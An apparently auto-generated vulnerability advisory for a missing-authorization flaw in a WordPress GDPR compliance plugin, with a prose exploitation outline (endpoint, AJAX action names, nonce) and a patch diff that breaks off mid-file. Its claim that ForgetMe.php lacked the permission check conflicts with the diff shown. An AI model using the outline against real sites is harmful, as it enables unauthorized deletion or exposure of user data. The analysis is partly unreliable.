Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-68073: GDPR CCPA Compliance Support <= 2.7.4 – Missing Authorization (ninja-gdpr-compliance)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 2.7.4
Patched Version 2.7.5
Disclosed January 18, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-68073:
The GDPR CCPA Compliance & Cookie Consent Banner plugin for WordPress versions up to 2.7.4 contains a missing authorization vulnerability. This flaw allows authenticated attackers with Subscriber-level access or higher to perform unauthorized administrative actions via AJAX endpoints. The vulnerability has a CVSS score of 4.3 and is classified under CWE-862 (Missing Authorization).

Atomic Edge research identified the root cause in multiple AJAX handler functions within the plugin’s source files. These functions lacked a proper capability check before executing privileged operations. The vulnerable functions include ajaxRequestAction() in src/DataAccess.php (line 106), src/DataRectification.php (line 112), and src/ForgetMe.php (line 116). Each function performed check_ajax_referer() for nonce verification but omitted the njt_gdpr_has_permission() check that validates user capabilities. The plugin’s permission system relies on this function to restrict access to administrative functions.

Exploitation requires an authenticated WordPress user with any role, including the lowest-privilege Subscriber role. Attackers send POST requests to /wp-admin/admin-ajax.php with the action parameter set to specific plugin AJAX hooks. The vulnerable actions include njt_gdpr_dataaccess_request_action, njt_gdpr_data_rectification_request_action, and njt_gdpr_forget_me_request_action. The request must include a valid nonce parameter, which Subscriber users can obtain from plugin pages. Successful exploitation allows attackers to trigger data access requests, data rectification operations, and forget-me requests without proper authorization.

The patch in version 2.7.5 adds the missing njt_gdpr_has_permission() checks to all vulnerable AJAX handler functions. In src/DataAccess.php line 106, the condition changed from if(!apply_filters(‘njt_gdpr_can_action_data_access’, true)) to if( ! apply_filters(‘njt_gdpr_can_action_data_access’, true) || ! njt_gdpr_has_permission()). Similar changes appear in src/DataRectification.php line 112 and src/ForgetMe.php line 116. The patch also removes redundant permission checks in some functions and standardizes error responses across all endpoints. These changes ensure that only users with appropriate capabilities can execute administrative actions.

Successful exploitation allows attackers to manipulate sensitive GDPR-related functions. Attackers can trigger data access requests that generate and email user data reports. They can initiate data rectification requests that modify user information. They can also submit forget-me requests that may lead to user data deletion. While the vulnerability requires authentication and a valid nonce, it bypasses the intended role-based access controls. This could lead to unauthorized data processing, privacy violations, and potential compliance breaches under GDPR regulations.

Differential between vulnerable and patched code

Code Diff
--- a/ninja-gdpr-compliance/app/build/index.asset.php
+++ b/ninja-gdpr-compliance/app/build/index.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-dom-ready', 'wp-element'), 'version' => '833b2cefa34059b6807c');
--- a/ninja-gdpr-compliance/njt-gdpr.php
+++ b/ninja-gdpr-compliance/njt-gdpr.php
@@ -3,7 +3,7 @@
  * Plugin Name: GDPR CCPA Compliance & Cookie Consent Banner
  * Plugin URI: https://ninjateam.org/wordpress-gdpr-compliance/
  * Description: Become compliant with GDPR, CCPA, DPA, Google Ads consent mode, and other privacy regulations.
- * Version: 2.7.4
+ * Version: 2.7.5
  * Author: NinjaTeam
  * Author URI: https://ninjateam.org
  */
@@ -11,7 +11,7 @@
 define('NJT_GDPR_DIR', realpath(plugin_dir_path(NJT_GDPR_FILE)));
 define('NJT_GDPR_URL', plugins_url('', NJT_GDPR_FILE));
 define('NJT_GDPR_I18N', 'njt_gdpr');
-define('NJT_GDPR_VERSION', '2.7.4');
+define('NJT_GDPR_VERSION', '2.7.5');


 if ( file_exists(dirname(__FILE__) . '/vendor/autoload.php') ) {
--- a/ninja-gdpr-compliance/src/Cross.php
+++ b/ninja-gdpr-compliance/src/Cross.php
@@ -91,7 +91,7 @@
                 if ( !in_array($screen->id , array('plugins', 'dashboard', 'upload')) ) return;
             } else return;

-            wp_register_script("njt-popup-{$this->pluginPrefix}-cross", $this->pluginDirURL . '/assets/admin/js/cross.js', ['jquery'], '1.0', true);
+            wp_register_script("njt-popup-{$this->pluginPrefix}-cross", $this->pluginDirURL . '/assets/admin/js/cross.js', ['jquery'], NJT_GDPR_VERSION, true);
             wp_localize_script("njt-popup-{$this->pluginPrefix}-cross", 'njtCross', array(
                 'nonce' => wp_create_nonce("njt_{$this->pluginPrefix}_cross_nonce"),
                 'media_url' => admin_url('upload.php'),
--- a/ninja-gdpr-compliance/src/DataAccess.php
+++ b/ninja-gdpr-compliance/src/DataAccess.php
@@ -100,15 +100,15 @@
     {
         check_ajax_referer('njt_gdpr', 'nonce', true);
         if( ! njt_gdpr_has_permission() ) {
-            wp_send_json_error();
+            wp_send_json_error( array('mess' => __('Permission denied.', NJT_GDPR_I18N)) );
         }
         $settings = ((isset($_POST['settings'])) ? (array)$_POST['settings']: array());
         update_option('njt_gdpr_dataaccess', njt_gdpr_maybe_sanitize_array($settings));
-        wp_send_json_success();
+        wp_send_json_success(array('mess' => __('Success', NJT_GDPR_I18N)));
     }
     public function ajaxRequestAction()
     {
-        if(!apply_filters('njt_gdpr_can_action_data_access', true)){
+        if( ! apply_filters('njt_gdpr_can_action_data_access', true) || ! njt_gdpr_has_permission()){
             wp_send_json_error(array('mess' => __('Permission denied.', NJT_GDPR_I18N)));
         }
         check_ajax_referer('njt_gdpr', 'nonce', true);
@@ -167,7 +167,7 @@
                 if($current_user_id > 0) {
                     $message .= __("User ID:", NJT_GDPR_I18N) . $current_user_id .  '<br />';
                 }
-                wp_mail($to, $subject, $message);
+                wp_mail($to, $subject, $message, array('Content-Type: text/html'));
             }
         }
         $settings = $this->getSettings();
@@ -183,9 +183,7 @@
                 <input type="text" name="email" id="njt_gdpr_dataaccess_form_email" class="njt_gdpr_dataaccess_form_email" value="" required />
             </p>
             <p>
-                <button type="button" class="njt_gdpr_btn njt_gdpr_dataaccess_btn">
-                    <?php _e('Submit', NJT_GDPR_I18N); ?>
-                </button>
+                <button type="button" class="njt_gdpr_btn njt_gdpr_dataaccess_btn"><?php _e('Submit', NJT_GDPR_I18N); ?></button>
             </p>
         </form>
         <?php
@@ -193,7 +191,7 @@
     }
     public function registerWpEnqueue()
     {
-        wp_register_script('njt-gdpr-data-access', NJT_GDPR_URL . '/assets/home/js/data-access.js', array('jquery'), '1.0', false);
+        wp_register_script('njt-gdpr-data-access', NJT_GDPR_URL . '/assets/home/js/data-access.js', array('jquery'), NJT_GDPR_VERSION, false);
         wp_enqueue_script('njt-gdpr-data-access');
         wp_localize_script('njt-gdpr-data-access', 'njt_gdpr_dataaccess', array(
             'ajaxurl' => admin_url('admin-ajax.php'),
@@ -232,7 +230,7 @@
             $attachments[] = $file_name;
         }
         if (!empty($settings['email_subject']) && !empty($settings['email_body'])) {
-            wp_mail($email_to_send, $settings['email_subject'], $settings['email_body'], '', $attachments);
+            wp_mail($email_to_send, $settings['email_subject'], $settings['email_body'], array('Content-Type: text/html'), $attachments);
             if (apply_filters('njt_gdpr_delete_dataaccess_att', true)) {
                 foreach ($attachments as $k => $v) {
                     @unlink($v);
--- a/ninja-gdpr-compliance/src/DataBreach.php
+++ b/ninja-gdpr-compliance/src/DataBreach.php
@@ -35,7 +35,7 @@
         check_ajax_referer('njt_gdpr', 'nonce', true);

         if( ! njt_gdpr_has_permission() ) {
-            wp_send_json_error();
+            wp_send_json_error( array('mess' => __('Permission denied.', NJT_GDPR_I18N)) );
         }

         $settings = ((isset($_POST['settings'])) ? (array)$_POST['settings']: array());
@@ -52,7 +52,7 @@
             $users = get_users();
             $sent = $fail = 0;
             foreach ($users as $k => $user) {
-                $t = wp_mail($user->data->user_email, $settings['email_subject'], $settings['email_body']);
+                $t = wp_mail($user->data->user_email, $settings['email_subject'], $settings['email_body'], array('Content-Type: text/html'));
                 if ($t) {
                     $sent ++;
                 } else {
--- a/ninja-gdpr-compliance/src/DataRectification.php
+++ b/ninja-gdpr-compliance/src/DataRectification.php
@@ -112,7 +112,7 @@
     }
     public function ajaxRequestAction()
     {
-        if(!apply_filters('njt_gdpr_can_action_data_rectification', true)){
+        if(!apply_filters('njt_gdpr_can_action_data_rectification', true) || ! njt_gdpr_has_permission()){
             wp_send_json_error(array('mess' => __('Permission denied.', NJT_GDPR_I18N)));
         }
         check_ajax_referer('njt_gdpr', 'nonce', true);
@@ -123,23 +123,27 @@
         $settings = $this->getSettings();
         if (count($ids) > 0) {
             if ($request_action == 'remove') {
-                foreach ($ids as $k => $v) {
-                    $check_post = get_post($v);
+                foreach ($ids as $k => $id) {
+                    $check_post = get_post($id);
                     if ($check_post->post_type == $this->post_type) {
-                        wp_delete_post($v, true);
+                        wp_delete_post($id, true);
                     }
                 }
                 wp_send_json_success(array('mess' => __('Success', NJT_GDPR_I18N), 'requests' => $this->getRequests()));
             } elseif ($request_action == 'send-email') {
                 $error = null;
-                foreach ($ids as $k => $v) {
-                    $request_info = get_post($v);
+                $sentEmails = array();
+                foreach ($ids as $k => $id) {
+                    $request_info = get_post($id);
                     if (empty($settings['email_subject']) || empty($settings['email_body'])) {
                         $error = __('Error, please enter Email Subject and Email Body first, then save and try again.', NJT_GDPR_I18N);
                         break;
                     } else {
-                        wp_mail($request_info->post_title, $settings['email_subject'], $settings['email_body']);
-                        update_post_meta($v, '_date_mail_sent', date('Y-m-d H:i:s', current_time('timestamp', 0)));
+                        if( ! in_array($request_info->post_title, $sentEmails) ) {
+                            wp_mail($request_info->post_title, $settings['email_subject'], $settings['email_body'], array('Content-Type: text/html'));
+                            update_post_meta($id, '_date_mail_sent', date('Y-m-d H:i:s', current_time('timestamp', 0)));
+                            $sentEmails[] = $request_info->post_title;
+                        }
                     }
                 }
                 if (is_null($error)) {
@@ -194,7 +198,7 @@
                 if($current_user->ID) {
                     $message .= __("User ID:", NJT_GDPR_I18N) .$current_user->ID .  '<br />';
                 }
-                wp_mail($to, $subject, $message);
+                wp_mail($to, $subject, $message, array('Content-Type: text/html'));
             }
         }
         $settings = $this->getSettings();
@@ -230,7 +234,7 @@
                 <textarea name="your-new-information" id="your-new-information" cols="30" rows="10" required></textarea>
             </p>
             <p>
-                <button type="button" class="njt_gdpr_data_rectification_btn"><?php echo esc_html($atts['btn_text']); ?></button>
+                <button type="button" class="njt_gdpr_data_rectification_btn njt_gdpr_btn"><?php echo esc_html($atts['btn_text']); ?></button>
             </p>
         </form>
         <?php
@@ -238,7 +242,7 @@
     }
     public function registerWpEnqueue()
     {
-        wp_register_script('njt-gdpr-data-rectification', NJT_GDPR_URL . '/assets/home/js/data-rectification.js', array('jquery'), '1.0', false);
+        wp_register_script('njt-gdpr-data-rectification', NJT_GDPR_URL . '/assets/home/js/data-rectification.js', array('jquery'), NJT_GDPR_VERSION, false);
         wp_enqueue_script('njt-gdpr-data-rectification');
         wp_localize_script('njt-gdpr-data-rectification', 'njt_gdpr_data_rectification', array(
             'ajaxurl' => admin_url('admin-ajax.php'),
--- a/ninja-gdpr-compliance/src/EuTraffic.php
+++ b/ninja-gdpr-compliance/src/EuTraffic.php
@@ -34,7 +34,7 @@
         check_ajax_referer('njt_gdpr', 'nonce', true);

         if( ! njt_gdpr_has_permission() ) {
-            wp_send_json_error();
+            wp_send_json_error( array('mess' => __('Permission denied.', NJT_GDPR_I18N)) );
         }

         $settings = ((isset($_POST['settings'])) ? (array)$_POST['settings']: array());
@@ -48,6 +48,6 @@
             }
         }
         update_option('njt_gdpr_eu', $settings);
-        wp_send_json_success();
+        wp_send_json_success(array('mess' => __('Success', NJT_GDPR_I18N)));
     }
 }
--- a/ninja-gdpr-compliance/src/ForgetMe.php
+++ b/ninja-gdpr-compliance/src/ForgetMe.php
@@ -99,31 +99,27 @@
         foreach ($_users as $k => $v) {
             $settings['users'][] = array('id' => $v->ID, 'name' => $v->data->user_nicename);
         }
-        wp_send_json_success(array('settings' => $settings, 'users' => $users, 'requests' => $this->getRequests()));
+        wp_send_json_success(array('settings' => $settings, 'users' => $settings['users'], 'requests' => $this->getRequests()));
     }
     public function ajaxUpdateSettings()
     {
         check_ajax_referer('njt_gdpr', 'nonce', true);

         if( ! njt_gdpr_has_permission() ) {
-            wp_send_json_error();
+            wp_send_json_error( array('mess' => __('Permission denied.', NJT_GDPR_I18N)) );
         }

         $settings = ((isset($_POST['settings'])) ? (array)$_POST['settings']: array());
         $settings = njt_gdpr_maybe_sanitize_array($settings);
         update_option('njt_gdpr_forget_me', $settings);
-        wp_send_json_success();
+        wp_send_json_success(array('mess' => __('Success', NJT_GDPR_I18N)));
     }
     public function ajaxRequestAction()
     {
-        if(!apply_filters('njt_gdpr_can_action_forget_me', true)){
+        if(!apply_filters('njt_gdpr_can_action_forget_me', true) || ! njt_gdpr_has_permission()){
             wp_send_json_error(array('mess' => __('Permission denied.', NJT_GDPR_I18N)));
         }
         check_ajax_referer('njt_gdpr', 'nonce', true);
-
-        if( ! njt_gdpr_has_permission() ) {
-            wp_send_json_error();
-        }

         $ids = ((isset($_POST['ids'])) ? (array)$_POST['ids'] : array());
         $ids = array_map('intval', $ids);
@@ -176,7 +172,7 @@
                         if(!in_array('administrator', $user->roles)) {
                             wp_delete_user($user_id);
                         } else {
-                            exit('cant delete');
+                            wp_send_json_error(array('mess' => __('Can not delete administrator account.', NJT_GDPR_I18N)));
                         }
                     } else {
                         //just delete comments by email
@@ -187,7 +183,7 @@
                         }
                     }
                     update_post_meta($v, '_date_mail_sent', date('Y-m-d H:i:s', current_time('timestamp', 0)));
-                    wp_mail($request_info->post_title, $settings['email_subject'], $settings['email_body']);
+                    wp_mail($request_info->post_title, $settings['email_subject'], $settings['email_body'], array('Content-Type: text/html'));
                 }
             }
             wp_send_json_success(array('requests' => $this->getRequests()));
@@ -219,15 +215,15 @@
             update_post_meta($insert_id, '_user_id', $current_user_id);
             if(apply_filters('njt_gdpr_email_admin_when_new_forget', true)) {
                 $to = get_bloginfo('admin_email');
-                $subject = __('Forget Me New Request', NJT_GDPR_I18N);
+                $subject = apply_filters('njt_gdpr_forget_me_email_subject', __('Forget Me New Request', NJT_GDPR_I18N));
                 $message = __("Hi,<br />", NJT_GDPR_I18N);
                 $message .= __("You have new ForgetMe request, here is the detail:<br />", NJT_GDPR_I18N);
                 $message .= __("Email: ", NJT_GDPR_I18N) . $email . '<br />';
-
                 if($current_user_id > 0) {
                     $message .= __("User ID: ", NJT_GDPR_I18N) . $current_user_id . '<br />';
                 }
-                wp_mail($to, $subject, $message);
+                $message = apply_filters('njt_gdpr_forget_me_email_body', $message);
+                wp_mail($to, $subject, $message, array('Content-Type: text/html'));
             }
         }
         $settings = $this->getSettings();
@@ -243,7 +239,7 @@
                 <input type="text" name="email" id="njt_gdpr_forget_me_form_email" class="njt_gdpr_forget_me_form_email" value="" required />
             </p>
             <p>
-                <button type="button" class="njt_gdpr_forget_me_btn"><?php _e('Submit', NJT_GDPR_I18N); ?></button>
+                <button type="button" class="njt_gdpr_forget_me_btn njt_gdpr_btn"><?php _e('Submit', NJT_GDPR_I18N); ?></button>
             </p>
         </form>
         <?php
@@ -251,7 +247,7 @@
     }
     public function registerWpEnqueue()
     {
-        wp_register_script('njt-gdpr-forget-me', NJT_GDPR_URL . '/assets/home/js/forget-me.js', array('jquery'), '1.0', false);
+        wp_register_script('njt-gdpr-forget-me', NJT_GDPR_URL . '/assets/home/js/forget-me.js', array('jquery'), NJT_GDPR_VERSION, false);
         wp_enqueue_script('njt-gdpr-forget-me');
         wp_localize_script('njt-gdpr-forget-me', 'njt_gdpr_forget_me', array(
             'ajaxurl' => admin_url('admin-ajax.php'),
--- a/ninja-gdpr-compliance/src/Integrations.php
+++ b/ninja-gdpr-compliance/src/Integrations.php
@@ -47,7 +47,7 @@
     {
         $settings = $this->getSettings();
         if ($settings['cf7']['is_enable']) {
-            $code .= '<p class="njt-gdpr-cf7-p"><label>'.esc_html($settings['cf7']['des']).'<span class="wpcf7-form-control-wrap njt-gdpr-accept"><span class="wpcf7-form-control wpcf7-acceptance"><span class="wpcf7-list-item"><input type="checkbox" name="njt-gdpr-accept" value="1" aria-invalid="false"></span></span></span></label></p>';
+            $code .= '<p class="njt-gdpr-cf7-p"><label><span class="wpcf7-form-control-wrap njt-gdpr-accept"><span class="wpcf7-form-control wpcf7-acceptance"><span class="wpcf7-list-item" style="margin:0 10px;"><input type="checkbox" name="njt-gdpr-accept" value="1" aria-invalid="false"></span></span></span>' . esc_html($settings['cf7']['des']) . '</label></p>';
         }
         return $code;
     }
@@ -102,7 +102,7 @@
     {
         $settings = $this->getSettings();
         if ($settings['comment']['is_enable']) {
-            $submit_field = '<p class="njt-gdpr-comment-accept-row"><label class="class="njt-gdpr-comment-accept-label">'.esc_html($settings['comment']['des']).'<input type="checkbox" name="njt-gdpr-comment-accept" id="njt-gdpr-comment-accept" value="1" aria-invalid="false"></label></p>' . $submit_field;
+            $submit_field = '<p class="njt-gdpr-comment-accept-row"><label class="class="njt-gdpr-comment-accept-label"><input style="margin-right: 5px;" type="checkbox" name="njt-gdpr-comment-accept" id="njt-gdpr-comment-accept" value="1" aria-invalid="false">'.esc_html($settings['comment']['des']).'</label></p>' . $submit_field;
         }
         return $submit_field;
     }
@@ -172,7 +172,7 @@
     {
         $settings = $this->getSettings();
         if ($settings['woo']['is_enable'] && !empty($settings['woo']['des'])) {
-            echo '<p class="njt-gdpr-woo-accept-row"><label class="njt-gdpr-woo-accept-label">'.esc_html($settings['woo']['des']).' <input type="checkbox" id="njt-gdpr-accept-woo" value="1" /></label></p>';
+            echo '<p class="njt-gdpr-woo-accept-row"><label class="njt-gdpr-woo-accept-label"><input style="margin-right: 5px;" type="checkbox" id="njt-gdpr-accept-woo" value="1" />'.esc_html($settings['woo']['des']).'</label></p>';
         }
     }
     public function getSettings()
@@ -247,7 +247,7 @@
         check_ajax_referer('njt_gdpr', 'nonce', true);

         if( ! njt_gdpr_has_permission() ) {
-            wp_send_json_error();
+            wp_send_json_error( array('mess' => __('Permission denied.', NJT_GDPR_I18N)) );
         }

         $settings = ((isset($_POST['settings'])) ? (array)$_POST['settings']: array());
@@ -263,7 +263,7 @@
         $settings['gg']['is_enable'] = (($settings['gg']['is_enable'] == 'true') ? '1' : '0');

         update_option('njt_gdpr_integrations', $settings);
-        wp_send_json_success();
+        wp_send_json_success(array('mess' => __('Success', NJT_GDPR_I18N)));
     }
     public function ajaxSavePrivacySettings()
     {
--- a/ninja-gdpr-compliance/src/Policy.php
+++ b/ninja-gdpr-compliance/src/Policy.php
@@ -50,7 +50,7 @@
         check_ajax_referer('njt_gdpr', 'nonce', true);

         if( ! njt_gdpr_has_permission() ) {
-            wp_send_json_error();
+            wp_send_json_error( array('mess' => __('Permission denied.', NJT_GDPR_I18N)) );
         }

         $settings = ((isset($_POST['settings'])) ? (array)$_POST['settings']: array());
@@ -79,7 +79,7 @@
             }
         }
         update_option('njt_gdpr_policy', $settings);
-        wp_send_json_success();
+        wp_send_json_success(array('mess' => __('Success', NJT_GDPR_I18N)));
     }
     public function shortcodePolicy($atts)
     {
@@ -89,16 +89,16 @@
         echo '<form action="" method="POST">';
         if ($this->isAcceptedPolicy()) {
             echo '<p>'.esc_html($settings['accepted_text']).'</p>';
-            echo '<button type="button" class="njt_gdpr_policy_decline_btn">'.esc_html(__('Decline', NJT_GDPR_I18N)).'</button>';
+            echo '<button type="button" class="njt_gdpr_policy_decline_btn njt_gdpr_btn">'.esc_html(__('Decline', NJT_GDPR_I18N)).'</button>';
         } else {
-            echo '<button type="button" class="njt_gdpr_policy_accept_btn">'.esc_html(__('Accept', NJT_GDPR_I18N)).'</button>';
+            echo '<button type="button" class="njt_gdpr_policy_accept_btn njt_gdpr_btn">'.esc_html(__('Accept', NJT_GDPR_I18N)).'</button>';
         }
         echo '</form>';
         return ob_get_clean();
     }
     public function registerWpEnqueue()
     {
-        wp_register_script('njt-gdpr-policy', NJT_GDPR_URL . '/assets/home/js/policy.js', array('jquery'), '1.0', false);
+        wp_register_script('njt-gdpr-policy', NJT_GDPR_URL . '/assets/home/js/policy.js', array('jquery'), NJT_GDPR_VERSION, false);
         wp_enqueue_script('njt-gdpr-policy');
         wp_localize_script('njt-gdpr-policy', 'njt_gdpr_policy', array(
             'ajaxurl' => admin_url('admin-ajax.php'),
--- a/ninja-gdpr-compliance/src/PrivacySettingsPage.php
+++ b/ninja-gdpr-compliance/src/PrivacySettingsPage.php
@@ -36,14 +36,14 @@
         check_ajax_referer('njt_gdpr', 'nonce', true);

         if( ! njt_gdpr_has_permission() ) {
-            wp_send_json_error();
+            wp_send_json_error( array('mess' => __('Permission denied.', NJT_GDPR_I18N)) );
         }

         $settings = ((isset($_POST['settings'])) ? (array)$_POST['settings']: array());
         $settings = njt_gdpr_maybe_sanitize_array($settings);

         update_option('njt_gdpr_privacy_settings_page', $settings);
-        wp_send_json_success();
+        wp_send_json_success(array('mess' => __('Success', NJT_GDPR_I18N)));
     }
     public function privacySettingsPageShortcode()
     {
@@ -78,7 +78,7 @@
                     </tr>
                 </tbody>
             </table>
-            <button type="button" class="njt-gdpr-privacy-settings-btn"><?php _e('Save Changes', NJT_GDPR_I18N); ?></button>
+            <button type="button" class="njt-gdpr-privacy-settings-btn njt_gdpr_btn"><?php _e('Save Changes', NJT_GDPR_I18N); ?></button>
         </form>
         <script type="text/javascript">
             jQuery(document).ready(function($) {
--- a/ninja-gdpr-compliance/src/Term.php
+++ b/ninja-gdpr-compliance/src/Term.php
@@ -44,7 +44,9 @@
         check_ajax_referer('njt_gdpr', 'nonce', true);

         if( ! njt_gdpr_has_permission() ) {
-            wp_send_json_error();
+            wp_send_json_error(
+                array('mess' => __('Permission denied.', NJT_GDPR_I18N))
+            );
         }

         $settings = ((isset($_POST['settings'])) ? (array)$_POST['settings']: array());
@@ -65,7 +67,7 @@
             }
         }
         update_option('njt_gdpr_term', $settings);
-        wp_send_json_success();
+        wp_send_json_success(array('mess' => __('Success', NJT_GDPR_I18N)));
     }
     public function ajaxAcceptTerm()
     {
@@ -98,16 +100,16 @@
         $atts = shortcode_atts(array(), $atts, 'njt_gdpr_term');
         echo '<form action="" method="POST">';
         if ($this->isAcceptedTerm()) {
-            echo '<button type="button" class="njt_gdpr_term_decline_btn">'.esc_html(__('Decline', NJT_GDPR_I18N)).'</button>';
+            echo '<button type="button" class="njt_gdpr_term_decline_btn njt_gdpr_btn">'.esc_html(__('Decline', NJT_GDPR_I18N)).'</button>';
         } else {
-            echo '<button type="button" class="njt_gdpr_term_accept_btn">'.esc_html(__('Accept', NJT_GDPR_I18N)).'</button>';
+            echo '<button type="button" class="njt_gdpr_term_accept_btn njt_gdpr_btn">'.esc_html(__('Accept', NJT_GDPR_I18N)).'</button>';
         }
         echo '</form>';
         return ob_get_clean();
     }
     public function registerWpEnqueue()
     {
-        wp_register_script('njt-gdpr-term', NJT_GDPR_URL . '/assets/home/js/term.js', array('jquery'), '1.0', false);
+        wp_register_script('njt-gdpr-term', NJT_GDPR_URL . '/assets/home/js/term.js', array('jquery'), NJT_GDPR_VERSION, false);
         wp_enqueue_script('njt-gdpr-term');
         wp_localize_script('njt-gdpr-term', 'njt_gdpr_term', array(
             'ajaxurl' => admin_url('admin-ajax.php'),
--- a/ninja-gdpr-compliance/src/Unsubscribe.php
+++ b/ninja-gdpr-compliance/src/Unsubscribe.php
@@ -34,7 +34,9 @@
         check_ajax_referer('njt_gdpr', 'nonce', true);

         if( ! njt_gdpr_has_permission() ) {
-            wp_send_json_error();
+            wp_send_json_error(
+                array('mess' => __('Permission denied.', NJT_GDPR_I18N))
+            );
         }

         $settings = ((isset($_POST['settings'])) ? (array)$_POST['settings']: array());
@@ -48,6 +50,6 @@
             }
         }
         update_option('njt_gdpr_unsub', $settings);
-        wp_send_json_success();
+        wp_send_json_success(array('mess' => __('Success', NJT_GDPR_I18N)));
     }
 }
--- a/ninja-gdpr-compliance/src/init.php
+++ b/ninja-gdpr-compliance/src/init.php
@@ -21,7 +21,6 @@
          */
         register_activation_hook(NJT_GDPR_FILE, array($this, 'pluginActived'));

-        // add_filter('wp_mail_content_type', array($this, 'mailContentType'));
         //start session
         // add_action('init', array($this, 'startSession'), 1);
         //register menu
@@ -88,11 +87,6 @@
         </script>
         <?php
     }
-    public function mailContentType()
-    {
-        return "text/html";
-    }
-
     public function startSession()
     {
         if (!session_id()) {
@@ -282,6 +276,9 @@
         $settings = get_option('njt_gdpr', array());
         $settings = wp_parse_args($settings, $defaults);

+        $settings['show_pages'] = array_map('intval', $settings['show_pages']);
+        $settings['hide_pages'] = array_map('intval', $settings['hide_pages']);
+
         $settings['is_enable_decline_btn'] = (($settings['is_enable_decline_btn'] == '1') ? true : false);
         $settings['is_enable_custom_btn'] = (($settings['is_enable_custom_btn'] == '1') ? true : false);
         $settings['block_cookie'] = (($settings['block_cookie'] == '1') ? true : false);
@@ -371,7 +368,6 @@
         $js = ob_get_clean();

         $eu = njt_eu_settings();
-
         if(($eu['status'] == 'block-all') || ($eu['status'] == 'work' && $eu['country_is_blocked'])) {
             if ($this->userClickedBtn()) {
                 if (!$this->canUseCookie()) {
@@ -458,7 +454,7 @@
         check_ajax_referer('njt_gdpr', 'nonce', true);

         if( ! njt_gdpr_has_permission() ) {
-            wp_send_json_error();
+            wp_send_json_error(__('Permission denied.', NJT_GDPR_I18N));
         }
         $settings = ((isset($_POST['settings'])) ? (array)$_POST['settings']: array());
         $content = $settings['content'];
@@ -489,7 +485,7 @@
             }
         }
         update_option('njt_gdpr', $settings);
-        wp_send_json_success();
+        wp_send_json_success(__('Success', NJT_GDPR_I18N));
     }

     public function registerAdminEnqueue($hook_suffix)
@@ -509,13 +505,24 @@
                 );
             }

-            wp_register_style('njt-gdpr', NJT_GDPR_URL . '/assets/admin/css/app.css');
+            $asset_file = NJT_GDPR_DIR . '/app/build/index.asset.php';
+            $asset = include $asset_file;
+
+            wp_register_style('njt-gdpr', NJT_GDPR_URL . '/app/build/index.css', array(), $asset['version']);
             wp_enqueue_style('njt-gdpr');

             wp_register_style('njt-gdpr-th', NJT_GDPR_URL . '/assets/admin/css/th.css');
             wp_enqueue_style('njt-gdpr-th');

-            wp_register_script('njt-gdpr', NJT_GDPR_URL . '/assets/admin/js/app.js', array(), '2.0', true);
+            wp_enqueue_script(
+                'njt-gdpr',
+                NJT_GDPR_URL . '/app/build/index.js',
+                $asset['dependencies'],
+                $asset['version'],
+                array(
+                    'in_footer' => true,
+                )
+            );
             wp_enqueue_script('njt-gdpr');
             wp_localize_script('njt-gdpr', 'njt_gdpr', array(
                 'nonce' => wp_create_nonce('njt_gdpr'),
@@ -526,7 +533,7 @@
                     'cookie' => array(
                         'h1' => __('Cookie Popup', NJT_GDPR_I18N),
                         'page_des' => __('', NJT_GDPR_I18N),
-                        'is_block_cookie' => __('Block cookie until user consents ?', NJT_GDPR_I18N),
+                        'is_block_cookie' => __('Block cookie until user consents?', NJT_GDPR_I18N),
                         'display_type' => __('Display type', NJT_GDPR_I18N),
                         'full_width' => __('Full Width', NJT_GDPR_I18N),
                         'popup' => __('Popup', NJT_GDPR_I18N),
@@ -767,15 +774,18 @@

         wp_register_style('njt-gdpr-th', NJT_GDPR_URL . '/assets/home/css/th.css');
         wp_enqueue_style('njt-gdpr-th');
-        wp_register_script('njt-gdpr', NJT_GDPR_URL . '/assets/home/js/app.js', array('jquery'), '1.0.1', false);
+        wp_register_script('njt-gdpr', NJT_GDPR_URL . '/assets/home/js/app.js', array('jquery'), NJT_GDPR_VERSION, false);
         wp_enqueue_script('njt-gdpr');

+        $current_page_id = $this->getCurrentPageId();
+
         wp_localize_script('njt-gdpr', 'njt_gdpr', array(
             'ajaxurl' => admin_url('admin-ajax.php'),
             'nonce' => wp_create_nonce('njt_gdpr'),
             //'settings' => $settings,
             'plugin_url' => NJT_GDPR_URL,
-            'current_lang' => apply_filters('wpml_current_language', null)
+            'current_lang' => apply_filters('wpml_current_language', null),
+            'current_page_id' => $current_page_id
         ));
     }
     /*
@@ -785,9 +795,7 @@
     public function mainPage()
     {
         ?>
-        <div id="app">
-            <router-view></router-view>
-        </div>
+        <div id="njt-gdpr-app"></div>
         <?php
     }

@@ -803,4 +811,34 @@
         }
         return $_instance;
     }
+    private function getCurrentPageId()
+    {
+        $current_page_id = '';
+        if (is_singular()) {
+            $current_page_id = (int)get_the_ID();
+        } else {
+            if( function_exists( 'WC' ) ) {
+                // Get WooCommerce special pages ID
+                if ( is_shop() ) {
+                    $current_page_id = wc_get_page_id( 'shop' );
+                } elseif ( is_cart() ) {
+                    $current_page_id = wc_get_page_id( 'cart' );
+                } elseif ( is_checkout() ) {
+                    $current_page_id = wc_get_page_id( 'checkout' );
+                } elseif ( is_account_page() ) {
+                    $current_page_id = wc_get_page_id( 'myaccount' );
+                } elseif ( is_wc_endpoint_url() ) {
+                    // For WooCommerce endpoint URLs (order-received, view-order, etc.)
+                    $current_page_id = wc_get_page_id( 'shop' );
+                } else {
+                    // Fallback to get queried object ID
+                    $current_id = get_queried_object_id();
+                    if ( $current_id ) {
+                        $current_page_id = $current_id;
+                    }
+                }
+            }
+        }
+        return $current_page_id;
+    }
 }
--- a/ninja-gdpr-compliance/vendor/autoload.php
+++ b/ninja-gdpr-compliance/vendor/autoload.php
@@ -19,4 +19,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit0c160756436047e15df45fcd32d450c4::getLoader();
+return ComposerAutoloaderIniteb34dfb1a10ebad79fa15e34727c96d7::getLoader();
--- a/ninja-gdpr-compliance/vendor/composer/autoload_real.php
+++ b/ninja-gdpr-compliance/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit0c160756436047e15df45fcd32d450c4
+class ComposerAutoloaderIniteb34dfb1a10ebad79fa15e34727c96d7
 {
     private static $loader;

@@ -24,12 +24,12 @@

         require __DIR__ . '/platform_check.php';

